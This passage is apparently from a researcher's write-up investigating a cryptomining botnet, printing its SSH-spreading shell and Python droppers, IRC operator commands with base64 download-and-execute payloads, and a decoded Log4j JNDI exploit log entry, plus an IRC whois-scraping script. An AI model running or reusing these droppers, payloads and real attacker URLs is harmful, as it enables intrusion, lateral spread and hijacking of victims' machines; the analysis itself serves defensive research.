            ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl -fsSL $url/xms||wget -q -O- $url/xms||python -c 'import urllib2 as fbi;print fbi.urlopen(\"$url/xms\").read()')| bash -sh; lwp-download $url/xms $DIR/xms; bash $DIR/xms; $DIR/xms; rm -rf $DIR/xms"
        done
    done
done

rm -rf "$DIR"/2start.jpg
rm -rf "$DIR"/xmi
chattr +ai -V /etc/cron.d/root /etc/cron.d/apache /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.hourly/oanacroner1 /etc/init.d/down

quartz_uninstall.sh

quartz_uninstall.sh is http://update.aegis.aliyun.com/download/quartz_uninstall.sh

uninstall.sh

uninstall.sh is http://update.aegis.aliyun.com/download/uninstall.sh

02_e_scan

e.py

Deployment and execution of next phase. Appears to call the scan on “192.168.0.0-192.168.255.255” port 22.

import urllib
import platform
import os

payload = 'curl -s http://80.71.158.96/xms?web1 -o /tmp/xms; wget http://80.71.158.96/xms?web1 -O /tmp/xms; lwp-download http://80.71.158.96/xms /tmp/xms; bash /tmp/xms; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84MC43MS4xNTguOTYvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -'
lan = "ip a | grep 'BROADCAST\|inet' | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1"

if platform.architecture()[0] == "64bit":
    urlx64 = "http://80.71.158.96/hxx"
    urlxx = "http://80.71.158.96/pas3"
    urlxxx = "http://80.71.158.96/scan"
    try:
        f = urllib.urlopen(urlx64)
        if f.code == 200:
            data = f.read()
            with open ("/tmp/hxx", "wb") as code:
                code.write(data)
        xx = urllib.urlopen(urlxx)
        if xx.code == 200:
            data = xx.read()
            with open ("/tmp/pas3", "wb") as code:
                code.write(data)
        xxx = urllib.urlopen(urlxxx)
        if xxx.code == 200:
            data = xxx.read()
            with open ("/tmp/scan", "wb") as code:
                code.write(data)

        os.chmod("/tmp/hxx", 0o777)
        os.chmod("/tmp/pas3", 0o777)
        os.chmod("/tmp/scan", 0o777)
        os.system("cd /tmp")
        os.system("rm -rf /tmp/ssh_vuln.txt")
        os.system("nohup /tmp/scan 192.168.0.0-192.168.255.255 22 > /tmp/ssh_vuln.txt")
        os.system("cat /tmp/ssh_vuln.txt | grep 'OpenSSH' | awk '{print $1}' | uniq | shuf > /tmp/sshcheck")
        os.system("nohup /tmp/hxx 500 -f /tmp/sshcheck /tmp/pas3 22 " + "'" + payload + "' >/dev/null 2>&1")
        os.system("echo Finished")
    except:
        pass
else:
    urlx32 = "http://80.71.158.96/hxx"
    urlyy = "http://80.71.158.96/pas3"
    urlyyy = "http://80.71.158.96/scan"
    try:
        f = urllib.urlopen(urlx64)
        if f.code == 200:
            data = f.read()
            with open ("/tmp/hxx", "wb") as code:
                code.write(data)
        yy = urllib.urlopen(urlyy)
        if yy.code == 200:
            data = yy.read()
            with open ("/tmp/pas3", "wb") as code:
                code.write(data)
        yyy = urllib.urlopen(urlyyy)
        if yyy.code == 200:
            data = yyy.read()
            with open ("/tmp/scan", "wb") as code:
                code.write(data)

        os.chmod("/tmp/hxx", 0o777)
        os.chmod("/tmp/pas3", 0o777)
        os.chmod("/tmp/scan", 0o777)
        os.system("cd /tmp")
        os.system("rm -rf /tmp/ssh_vuln.txt")
        os.system("nohup /tmp/scan 192.168.0.0-192.168.255.255 22 > /tmp/ssh_vuln.txt")
        os.system("cat /tmp/ssh_vuln.txt | grep 'OpenSSH' | awk '{print $1}' | uniq | shuf > /tmp/sshcheck")
        os.system("nohup /tmp/hxx 500 -f /tmp/sshcheck /tmp/pas3 22 " + "'" + payload + "' >/dev/null 2>&1")
        os.system("echo Finished")
    except:
        pass

hxx / scan

Lateral scan/movement and reporting of SSH servers.

pas3

02_e_scan/pas3 and 03_ei_scan2/pas are available to download and are safe text files, these are full fledged username/password combinations that were deployed to search and attack new hosts to grow the network with.

03_ei_scan2

ei.py

More deployment and execution. Execution broadened to all local IP addresses for even more lateral movement.

import urllib
import platform
import os

payload = 'curl -s http://80.71.158.96/xms?web2 -o /tmp/xms; wget http://80.71.158.96/xms?web2 -O /tmp/xms; lwp-download http://80.71.158.96/xms /tmp/xms; bash /tmp/xms; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84MC43MS4xNTguOTYvZC5weSIpLnJlYWQoKSkn | base64 -d | bash -'
lan = "ip a | grep 'BROADCAST\|inet' | grep -oP 'inet\s+\K\d{1,3}\.\d{1,3}' | grep -v 127 | grep -v inet6 |grep -v 255 | head -n1"

if platform.architecture()[0] == "64bit":
    urlx64 = "http://80.71.158.96/hxx"
    urlxx = "http://80.71.158.96/pas"
    urlxxx = "http://80.71.158.96/scan2"
    try:
        f = urllib.urlopen(urlx64)
        if f.code == 200:
            data = f.read()
            with open ("/tmp/hxx", "wb") as code:
                code.write(data)
        xx = urllib.urlopen(urlxx)
        if xx.code == 200:
            data = xx.read()
            with open ("/tmp/pas3", "wb") as code:
                code.write(data)
        xxx = urllib.urlopen(urlxxx)
        if xxx.code == 200:
            data = xxx.read()
            with open ("/tmp/scan2", "wb") as code:
                code.write(data)

        os.chmod("/tmp/hxx", 0o777)
        os.chmod("/tmp/pas", 0o777)
        os.chmod("/tmp/scan2", 0o777)
        os.system("cd /tmp")
        os.system("rm -rf /tmp/ssh_vulnnew.txt")
        os.system("nohup /tmp/scan2 -g 172,192,10 -p 22 -D 40 -T 500 > /tmp/ssh_vulnnew.txt")
        os.system("cat /tmp/ssh_vulnnew.txt | grep -v '#' | awk '{print $1}' | sed 's/:22//' > /tmp/ips.check")
        os.system("nohup /tmp/hxx 500 -f /tmp/ips.check /tmp/pas3 22 " + "'" + payload + "' >/dev/null 2>&1")
        os.system("echo Finished")
    except:
        pass
else:
    urlx32 = "http://80.71.158.96/hxx"
    urlyy = "http://80.71.158.96/pas"
    urlyyy = "http://80.71.158.96/scan2"
    try:
        f = urllib.urlopen(urlx64)
        if f.code == 200:
            data = f.read()
            with open ("/tmp/hxx", "wb") as code:
                code.write(data)
        yy = urllib.urlopen(urlyy)
        if yy.code == 200:
            data = yy.read()
            with open ("/tmp/pas3", "wb") as code:
                code.write(data)
        yyy = urllib.urlopen(urlyyy)
        if yyy.code == 200:
            data = yyy.read()
            with open ("/tmp/scan2", "wb") as code:
                code.write(data)

        os.chmod("/tmp/hxx", 0o777)
        os.chmod("/tmp/pas", 0o777)
        os.chmod("/tmp/scan2", 0o777)
        os.system("cd /tmp")
        os.system("rm -rf /tmp/ssh_vulnnew.txt")
        os.system("nohup /tmp/scan2 -g 172,192,10 -p 22 -D 40 -T 500 > /tmp/ssh_vulnnew.txt")
        os.system("cat /tmp/ssh_vulnnew.txt | grep -v '#' | awk '{print $1}' | sed 's/:22//' > /tmp/ips.check")
        os.system("nohup /tmp/hxx 500 -f /tmp/ips.check /tmp/pas3 22 " + "'" + payload + "' >/dev/null 2>&1")
        os.system("echo Finished")
    except:
        pass

stray

b.py

Just doing some letter searching for the Python files, I found b.py. Seems to be an old one that I think I recognize from a previous Log4j attempt that was defunct by the time I got to it. Perhaps it was a dry-run. Malware deployment server is and was down when I checked and I recognized the IP (I think it's visible in the previous Log4j article).

import urllib
import platform
import os
if platform.architecture()[0] == "64bit":
    urlx64 = "http://209.141.40.190/x64b"
    try:
        f = urllib.urlopen(urlx64)
        if f.code == 200:
            data = f.read()
            with open ("/tmp/x64b", "wb") as code:
                code.write(data)
        os.chmod("/tmp/x64b", 0o777)
        os.system("/tmp/x64b")
    except:
        pass
else:
    urlx32 = "http://209.141.40.190/x32b"
    try:
        y = urllib.urlopen(urlx32)
        if y.code == 200:
            data = y.read()
            with open ("/tmp/x32b", "wb") as code:
                code.write(data)
        os.chmod("/tmp/x32b", 0o777)
        os.system("/tmp/x32b")
    except:
        pass

wxm.exe

NMAP showed that the same host has port 21 (FTP) open, so I connected via FTP and saw a single file available, wxm.exe. I downloaded it and it also appears to be a CryptoMiner, but for Windows. Perhaps a separate deployment is being used or is planned.

IRC Penetration

In the disassembly this IP and port can be found. Connecting through HTTP/firefox on http://104.168.71.132 port 80:

:irc.bashgo.pw NOTICE AUTH :*** Looking up your hostname...
:irc.bashgo.pw NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
ERROR :Closing Link: [##bcable-redacted##] (HTTP command from IRC connection (ATTACK?))

Oopsies, didn't realize what I was doing. Nice trick with port 80 I fell for it. Let's use Irssi…

Easily scriptable if needed (which was needed later), lightweight, runnable in GNU screen, and easy to secure for the most part.

First settings needed, starting up Irssi just running these:

/set autolog on
/set autolog_level all
/ignore * ctcps

Need to log everything. CTCP is a dangerous protocol when dealing with unknown users, they can collect a lot of information on you and send potentially harmful commands, so you want to ignore those commands from everyone. This provides a pretty stealth connection.

This creates a standard ~/.irssi/config file with these settings, then you can go in there and edit:

settings = {
  core = {
    real_name = "";
    user_name = "";
    nick = "";
  };
[(status)] /connect 104.168.71.132 80
20:02 !irc.bashgo.pw *** Looking up your hostname...
20:02 !irc.bashgo.pw *** Couldn't resolve your hostname; using your IP address instead
20:02 -!- Capabilities requested: multi-prefix
20:02 -!- Capabilities supported: account-notify away-notify multi-prefix userhost-in-names
20:02 -!- Capabilities acknowledged: multi-prefix
20:02 -!- Welcome to the bashgo.pw IRC Network root!root@[##bcable-redacted##]
20:02 -!- Your host is irc.bashgo.pw, running version Unreal3.2.10.6
20:02 -!- This server was created Wed Apr 28 2021 at 20:17:13 BST
20:02 -!- irc.bashgo.pw Unreal3.2.10.6 iowghraAsORTVSxNCWqBzvdHtGpI lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGjZ
20:02 -!- UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=30 CHANLIMIT=#:30 MAXLIST=b:60,e:60,I:60 NICKLEN=30
          CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 are supported by this server
20:02 -!- WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+
          CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTGZ NETWORK=bashgo.pw CASEMAPPING=ascii EXTBAN=~,qjncrRa
          ELIST=MNUCT STATUSMSG=~&@%+ are supported by this server
20:02 -!- EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP,STARTTLS are supported by this server
20:02 -!- There are 6404 users and 2 invisible on 1 servers
20:02 -!- 3 unknown connection(s)
20:02 -!- 2 channels formed
20:02 -!- I have 6406 clients and 0 servers
20:02 -!- 6406 15000 Current local users 6406, max 15000
20:02 -!- 6406 8513 Current global users 6406, max 8513
20:02 -!- - irc.bashgo.pw Message of the Day -
20:02 -!- - 28/4/2021 20:18
20:02 -!- -
20:02 -!- End of /MOTD command.
20:02 -!- Mode change [+iwxG] for user root

6404 users, much more than the last server…

[(status)] /j #.br
20:14 -!- IWKKRM [IWKKRM@E5BB16BF.378D07CA.B0E7DD4F.IP] has joined #.br
20:14 [Users #.br]
20:14 [ AADDCD  ] [ EIOMAJ  ] [ IUSZ    ] [ NBLKVS  ] [ RJZOMOD ] [ VTCNW   ]
20:14 [ AAGBJBCI] [ EIQUVZ  ] [ IVGF    ] [ NBLO    ] [ RJZXE   ] [ VTEN    ]
20:14 [ AAHTUEO ] [ EIZJVU  ] [ IVJLL   ] [ NBNJDMAA] [ RKAVYPAF] [ VTGBD   ]
20:14 [ AAMAR   ] [ EJIG    ] [ IVOS    ] [ NBNRVLWS] [ RKBMH   ] [ VTINFXX ]
20:14 [ AANW    ] [ EJMSRGN ] [ IVZAJQQ ] [ NBVBX   ] [ RKDE    ] [ VTMWYWKR]
20:14 [ AAON    ] [ EJNB    ] [ IWBZGYZX] [ NBVXZZ  ] [ RKEVF   ] [ VTOMEDK ]
20:14 [ AAQW    ] [ EJOMBSN ] [ IWECKVG ] [ NCCX    ] [ RKFYGUJ ] [ VTUQ    ]
20:14 [ AASMBE  ] [ EJPBZ   ] [ IWHTC   ] [ NCFWX   ] [ RKIZHEPC] [ VTWM    ]
20:14 [ AASWW   ] [ EJRR    ] [ IWHWTD  ] [ NCLL    ] [ RKJOFUVI] [ VUDC    ]
20:14 [ AAWGP   ] [ EKCLYMWO] [ IWKKRM  ] [ NCLXRMQ ] [ RKQK    ] [ VUIIER  ]
20:14 [ AAYUUCF ] [ EKRAT   ] [ IWKYS   ] [ NCNDYG  ] [ RKSFA   ] [ VUPB    ]

[…]

Trails off forever, Auditorium Mode (+u) was not enabled at first, but it was being enabled/disabled constantly as needed by the server admins. I grabbed a list of the users via:

[(status)] /channel
20:03 You are on the following channels:
20:03       #.br +Mmnst (104): XHZIFPQY ZMNF HYYOPLBT TOFC UXDAOZNF HSLP VNDX ZDTNKE UFXLU SUEBXEI DHXLD HFBQG CIMMJM OGCDTG OGXCSX BVIAF VBLEKN FIOY DMHL UABYWJWO NTQIFLR RXNE ASHR IZEXXFZ
                 HYKXFSS MPDCCNO MMSKIGJK OSSLMU MUWWR PWTNFYA RYOMY QBSWEW MASOBF ICBRIS YNYWDUIG YVPI WBKD EYOVEZNV UEZEHM TJSNFHT EANZ DLYTAPAR NTRVJON CONPKXMD KSCTMW JUJGUE ZNJJHBN
                 BKFXGW SDSQSJB TWDLQQTY JTXHQOU KSQG UJAZBJ NTDJS UXFZR YRGCZKQ EODA LTYVACZY STSGQJ BFDCIUV BEMYFWQS DQOGW TDIGSY NJPNGWOX XVZZXLIJ ZHHYXGA SDMX IIOGEBNB BQWL LFHXQHUL IQDU
                 HXEG KPZZDPG XTECGGW WLJUFNK MFMKIO ZVSMN DGXPTZZZ FYFQ NEJE BVTZUX LMMXJP BKRH ZEUYA IYDES GQNSWUFZ XXFPNC FDLCFSY GQLPIIYE THDQJGSS NMNAPLC HNSH BEMC MGTIEOO DKFN JEOPGT
                 BDWR ZXGFEA ADDVPBD MWQUES OKXBUDPO WIZMT VFWYCRD OWUDQ YQOHH PFZCMRUF WVGNRGRQ IOENQGN RVCUA QKAZVQND IXYEGBUG HLSRUXYJ CITAYIFA OHJGCQP ZYTEGKN XBPSDX TQCEOQW QPCSAVKH

[…]

Trails off as well. Stored it, parsed it into one user per line.

From here I did two things, since auditorium mode was disabled, I could see the following types of messages:

20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:18 -!- UPIV [AEKF@##bcable-redacted##] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:18 -!- KXJOX [GACHYUGM@##bcable-redacted##] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:18 -!- PBXGKF [EWPQCGRP@##bcable-redacted## has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:18 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:19 -!- FWPD [LGQASXOK@##bcable-redacted##] has quit [Client exited]
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:19 -!- DNOWHUA [ZWFE@##bcable-redacted##] has quit [Client exited]
20:19 -!- UIKSDHVM [PBEDWEXH@##bcable-redacted##] has joined #.br
20:19 -!- UGXJQLZO [MDVSNLPD@##bcable-redacted##] has quit [Ping timeout: 180 seconds]
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:19 -!- JCCJDHZ [CBUTS@##bcable-redacted##] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:19 -!- YOSJG [HTOILG@##bcable-redacted##] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has joined #.br
20:19 -!- c4k [c4k@FF55C329.F7D0E59E.56309192.IP] has quit [Max SendQ exceeded]
20:19 -!- ZXFQMHV [EYRZEOE@##bcable-redacted##] has quit [Ping timeout: 180 seconds]
20:19 -!- DXZDDLL [BVGUTKCT@##bcable-redacted##] has joined #.br

The hostnames are redacted because these are actual hostnames and IPs of real victims. This leads to method one, logging, which was already happening with autolog (see? good to do). While extremely passive, this can still provide a guaranteed means of getting hostnames unlike the way the previous botnet was logging with Auditorium Mode enabled (which, to be fair, this botnet enabled it from time to time, just disabled it when they wanted to for some reason which made this mechanism less effective). This is stored in what is later used as “irc_joins_quits”.

So, also with auditorium mode disabled, I had all of the user names from the server at my fingertips. I also had them copied from before.

Using this, I created an Irssi Plugin to sleep every 1000 milliseconds plus a random time between 0-1000 more milliseconds. This prevents flooding, even if it takes awhile. Posing as a bot account, this wasn't a problem.

use strict;
use Irssi;
use vars qw($VERSION %IRSSI);

$VERSION = "0.1";

%IRSSI = (
    authors => "Frank Herbert",
    contact => "frank\@dune.com",
    name => "color_script.pl",
    description => "Sets colors nicely.",
    license => "BSD",
    url => "http://dune.com",
    changed => "23rd of May, 2003",
    changes => "v0.1: Initial Release"
);

my $timer;
my %whois_ret;

sub run_colors_one {
    for my $server (Irssi::servers) {
        next unless $server->isa('Irssi::Irc::Server');

        open(F, "<", "/home/kali/users.nl");
        my @lines = <F>;
        close(F);
        chomp(@lines);

        for my $nick (@lines){
            next if $whois_ret{ $nick };

            #print("whois $nick");
            $server->command("whois $nick");

            $whois_ret{ $nick } = 1;
            $timer = Irssi::timeout_add_once(1_000 + rand 1_000, 'run_colors_one', '');

            return;
        }
    }
}

sub run_colors {
    %whois_ret = ();
    run_colors_one();
}

Irssi::command_bind("run_colors", "run_colors");

Other notable occurances, auditorium mode was enabled a few times which left me in the lurch on the joins/quits, but for fairly short duration:

23:20 -!- mode/#.br [+u] by c7k
00:30 [Users #.br]
00:30 [ EIAWD]
00:30 -!- Irssi: #.br: Total of 1 nicks [0 ops, 0 halfops, 0 voices, 1 normal]
02:46 -!- mode/#.br [-u] by c55k
02:46 -!- AHVOQVBB [AXQCBV@##bcable-redacted##] has joined #.br
02:46 -!- BDUY [ZVDS@##bcable-redacted##] has joined #.br
02:46 -!- RZVJQE [BOGBA@##bcable-redacted##] has joined #.br

Even shorter playtime:

04:40 -!- mode/#.br [+u] by c55k
04:40 -!- mode/#.br [-u] by c55k
05:15 -!- mode/#.br [+u] by c77k
05:18 < c55k> !* SSH echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84MC43MS4xNTguOTYvZS5weSIpLnJlYWQoKSkn | base64 -d | bash -
05:53 < c77k> !* SSH nohup echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly84MC43MS4xNTguOTYvZWkucHkiKS5yZWFkKCkpJw== | base64 -d | bash -
05:54 -!- mode/#.br [-u] by c77k

More playtime after the exploit drops… I really think these are multiple people…

05:54 -!- mode/#.br [+u] by c77k
06:46 -!- mode/#.br [-u] by c55k

Anyway, those exploits are easy enough:

b'python -c \'import urllib;exec(urllib.urlopen("http://80.71.158.96/e.py").read())\''
b'python -c \'import urllib;exec(urllib.urlopen("http://80.71.158.96/ei.py").read())\''

Which is how the extra stages were exposed, and the extra malware staging was discovered for me to dig into above.

Nothing much was done beyond identifying the 5586/6404 bots. Or 6401-6403 if c4k, c7k, c55k, and c77k are all distinct humans. Hard to tell, obviously, but they seem playfully fighting in my armchair opinion. They seem to have different short term motives/needs, like different team members doing different things. They also seem coordinated, since c55k dropped e.py at the same time as c77k dropping ei.py, which would make no sense for one person to do either as two accounts. The added nohup by c77k even suggests that they have different opinions on how to run the code in question (or differing skill levels, that's actually a good idea, but I'd probably leave it out myself, too, in that position just out of it not occurring to me in the moment especially with that much pressure that the exploit code was being deployed to so many hosts… it also should not be extremely dangerous to run without nohup, so it's not a massive deal, but it is overall a positive difference based on the mindset of the individual and creates an interesting separation in the logic between the two developers).

irc.cobalt.com

159.223.171.171 - - [21/Jan/2022:21:22:34 +0000] "GET /:undefined HTTP/1.1" 302 215 "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//13.78.223.142:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzUxLjE2MS42NC4xOTgvaW5zdGFsbC5zaDsgY2htb2QgNzc3IGluc3RhbGwuc2g7IHNoIGluc3RhbGwuc2g=}')" "t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//13.78.223.142:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzUxLjE2MS42NC4xOTgvaW5zdGFsbC5zaDsgY2htb2QgNzc3IGluc3RhbGwuc2g7IHNoIGluc3RhbGwuc2g=}')"</code></pre></p>
$ ldapsearch -x -H ldap://13.78.223.142:1389 -b TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzUxLjE2MS42NC4xOTgvaW5zdGFsbC5zaDsgY2htb2QgNzc3IGluc3RhbGwuc2g7IHNoIGluc3RhbGwuc2g=
# extended LDIF
#
# LDAPv3
# base <TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzUxLjE2MS42NC4xOTgvaW5zdGFsbC5zaDsgY2htb2QgNzc3IGluc3RhbGwuc2g7IHNoIGluc3RhbGwuc2g=> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

#
dn: TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IH
 x8IGNkIC9yb290IHx8IGNkIC87IHdnZXQgaHR0cDovLzUxLjE2MS42NC4xOTgvaW5zdGFsbC5zaDs
 gY2htb2QgNzc3IGluc3RhbGwuc2g7IHNoIGluc3RhbGwuc2g=
javaClassName: java.lang.String
javaSerializedData:: rO0ABXNyAB1vcmcuYXBhY2hlLm5hbWluZy5SZXNvdXJjZVJlZgAAAAAAA
 AABAgAAeHIAHW9yZy5hcGFjaGUubmFtaW5nLkFic3RyYWN0UmVmAAAAAAAAAAECAAB4cgAWamF2YX
 gubmFtaW5nLlJlZmVyZW5jZejGnqKo6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3Rvcjt
 MAAxjbGFzc0ZhY3Rvcnl0ABJMamF2YS9sYW5nL1N0cmluZztMABRjbGFzc0ZhY3RvcnlMb2NhdGlv
 bnEAfgAETAAJY2xhc3NOYW1lcQB+AAR4cHNyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJA
 BFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2
 xhbmcvT2JqZWN0O3hwAAAAAAAAAAV1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHA
 AAAAKc3IAGmphdmF4Lm5hbWluZy5TdHJpbmdSZWZBZGRyhEv0POER3MkCAAFMAAhjb250ZW50c3EA
 fgAEeHIAFGphdmF4Lm5hbWluZy5SZWZBZGRy66AHmgI4r0oCAAFMAAhhZGRyVHlwZXEAfgAEeHB0A
 AVzY29wZXQAAHNxAH4AC3QABGF1dGhxAH4AD3NxAH4AC3QACXNpbmdsZXRvbnQABHRydWVzcQB+AA
 t0AAtmb3JjZVN0cmluZ3QABng9ZXZhbHNxAH4AC3QAAXh0AqJ7IiIuZ2V0Q2xhc3MoKS5mb3JOYW1
 lKCJqYXZheC5zY3JpcHQuU2NyaXB0RW5naW5lTWFuYWdlciIpLm5ld0luc3RhbmNlKCkuZ2V0RW5n
 aW5lQnlOYW1lKCJKYXZhU2NyaXB0IikuZXZhbCgidmFyIHN0cnM9bmV3IEFycmF5KDMpOwogICAgI
 CAgIGlmKGphdmEuaW8uRmlsZS5zZXBhcmF0b3IuZXF1YWxzKCcvJykpewogICAgICAgICAgICBzdH
 JzWzBdPScvYmluL2Jhc2gnOwogICAgICAgICAgICBzdHJzWzFdPSctYyc7CiAgICAgICAgICAgIHN
 0cnNbMl09J2NkIC90bXAgfHwgY2QgL3Zhci9ydW4gfHwgY2QgL21udCB8fCBjZCAvcm9vdCB8fCBj
 ZCAvOyB3Z2V0IGh0dHA6Ly81MS4xNjEuNjQuMTk4L2luc3RhbGwuc2g7IGNobW9kIDc3NyBpbnN0Y
 WxsLnNoOyBzaCBpbnN0YWxsLnNoJzsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgc3Ryc1swXT
 0nY21kJzsKICAgICAgICAgICAgc3Ryc1sxXT0nL0MnOwogICAgICAgICAgICBzdHJzWzJdPSdjZCA
 vdG1wIHx8IGNkIC92YXIvcnVuIHx8IGNkIC9tbnQgfHwgY2QgL3Jvb3QgfHwgY2QgLzsgd2dldCBo
 dHRwOi8vNTEuMTYxLjY0LjE5OC9pbnN0YWxsLnNoOyBjaG1vZCA3NzcgaW5zdGFsbC5zaDsgc2gga
 W5zdGFsbC5zaCc7CiAgICAgICAgfQogICAgICAgIGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbW
 UoKS5leGVjKHN0cnMpOyIpfXBwcHBweHQAJW9yZy5hcGFjaGUubmFtaW5nLmZhY3RvcnkuQmVhbkZ
 hY3RvcnlwdAAUamF2YXguZWwuRUxQcm9jZXNzb3I=

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
b'\xac\xed\x00\x05sr\x00\x1dorg.apache.naming.ResourceRef\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00xr\x00\x1dorg.apache.naming.AbstractRef\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00xr\x00\x16javax.naming.Reference\xe8\xc6\x9e\xa2\xa8\xe9\x8d\t\x02\x00\x04L\x00\x05addrst\x00\x12Ljava/util/Vector;L\x00\x0cclassFactoryt\x00\x12Ljava/lang/String;L\x00\x14classFactoryLocationq\x00~\x00\x04L\x00\tclassNameq\x00~\x00\x04xpsr\x00\x10java.util.Vector\xd9\x97}[\x80;\xaf\x01\x03\x00\x03I\x00\x11capacityIncrementI\x00\x0celementCount[\x00\x0belementDatat\x00\x13[Ljava/lang/Object;xp\x00\x00\x00\x00\x00\x00\x00\x05ur\x00\x13[Ljava.lang.Object;\x90\xceX\x9f\x10s)l\x02\x00\x00xp\x00\x00\x00\nsr\x00\x1ajavax.naming.StringRefAddr\x84K\xf4<\xe1\x11\xdc\xc9\x02\x00\x01L\x00\x08contentsq\x00~\x00\x04xr\x00\x14javax.naming.RefAddr\xeb\xa0\x07\x9a\x028\xafJ\x02\x00\x01L\x00\x08addrTypeq\x00~\x00\x04xpt\x00\x05scopet\x00\x00sq\x00~\x00\x0bt\x00\x04authq\x00~\x00\x0fsq\x00~\x00\x0bt\x00\tsingletont\x00\x04truesq\x00~\x00\x0bt\x00\x0bforceStringt\x00\x06x=evalsq\x00~\x00\x0bt\x00\x01xt\x02\xa2{"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var strs=new Array(3);\n        if(java.io.File.separator.equals(\'/\')){\n            strs[0]=\'/bin/bash\';\n            strs[1]=\'-c\';\n            strs[2]=\'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://51.161.64.198/install.sh; chmod 777 install.sh; sh install.sh\';\n        }else{\n            strs[0]=\'cmd\';\n            strs[1]=\'/C\';\n            strs[2]=\'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://51.161.64.198/install.sh; chmod 777 install.sh; sh install.sh\';\n        }\n        java.lang.Runtime.getRuntime().exec(strs);")}pppppxt\x00%org.apache.naming.factory.BeanFactorypt\x00\x14javax.el.ELProcessor'
b'python -c \'import urllib;exec(urllib.urlopen("http://80.71.158.96/e.py").read())\''

The full list of pulled malware is the following:

01_bin/httpd.arm4: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.arm5: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.arm6: Unix.Dropper.Mirai-7489238-0 FOUND
01_bin/httpd.mips: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.mpsl: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.ppc: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.sparc: Unix.Trojan.Tsunami-7644569-0 FOUND
01_bin/httpd.x86: Unix.Dropper.Mirai-7540662-0 FOUND
01_bin/install.sh: OK
